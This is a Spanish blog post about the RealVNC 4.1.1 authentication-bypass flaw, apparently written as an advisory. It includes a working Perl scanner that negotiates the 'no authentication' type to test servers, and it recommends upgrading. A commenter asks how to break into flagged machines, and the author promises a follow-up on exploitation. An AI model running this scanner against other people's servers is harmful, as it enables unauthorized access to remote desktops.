Grave vulnerabilidad en RealVNC 4.1.1

Hace ya algún tiempo, se informó sobre una grave vulnerabilidad del servidor vnc de RealVNC (4.1.1). Esta vulnerabilidad puede llevar a un atacante, sin grandes conocimientos en informática y programación a poder tomar el control de un equipo con este software instalado.

Esta vulnerabilidad radica en un fallo en la autentificación que el cliente VNC envía al servidor, por lo que si el cliente modifica el tipo de autentificación, éste puede acceder sin ningún tipo de restricción por contraseña al servidor.

Se pueden ver la gran cantidad de gente que suele utilizar este software haciendo click en este link.
Y mediante este simple scanner, se puede comprobar la gravedad de este fallo:



#!/usr/bin/perl

# scan for OpenVNC 4.11 authentication bypass

use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1] || 5900;

$host or die("$0 \n");

#print "Connecting to $host:$port..."; $| = 1;
($sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',)) ? print "success!\n"
: die("failed\n");


#negotiate protocol
$sock->read($protocol_version,12);
print $sock $protocol_version;
# print "Using protocol $protocol_version";

# get security types that we'll be ignoring
$sock->read($security_types,1);
$sock->read($hahaha,unpack('C',$security_types));

# choose no authentication
print $sock "\x01";

# we should get "0000" back
$sock->read($in,4);
if(unpack('I',$in)) { die("Not vulnerable\n") };

# client initialize
print $sock "\x01";

# if the server starts sending data we are in
$sock->read($in,4);
(unpack('I',$in)) ? print("$host Vulnerable!\n") : die("Not vulnerable\n") ;

exit;

Desde aquí recomiendamos actualizar a la versión 4.2.5, disponible aquí.
Posted on 9:41 a. m. by skarvin and filed under , | 2 Comments »

2 comentarios:

Anónimo dijo... @ 4:00 p. m.

hola. Bonito blog. Como debo hacelo para entrar en hierro vulnerable? escaneo con su programa pero al dar positvo no entra en el hierro victima. Gracias por su ayuda.

skarvin dijo... @ 12:41 a. m.

Hola,

La finalidad del scanner era para poder dar a conocer, la gran cantidad de equipos con este programa instalado. La forma de explotar esta vulnerabilidad se hace modificando las fuentes del cliente de RealVNC. No obstante en breve publicaré un post explicándolo :)

Un saludo!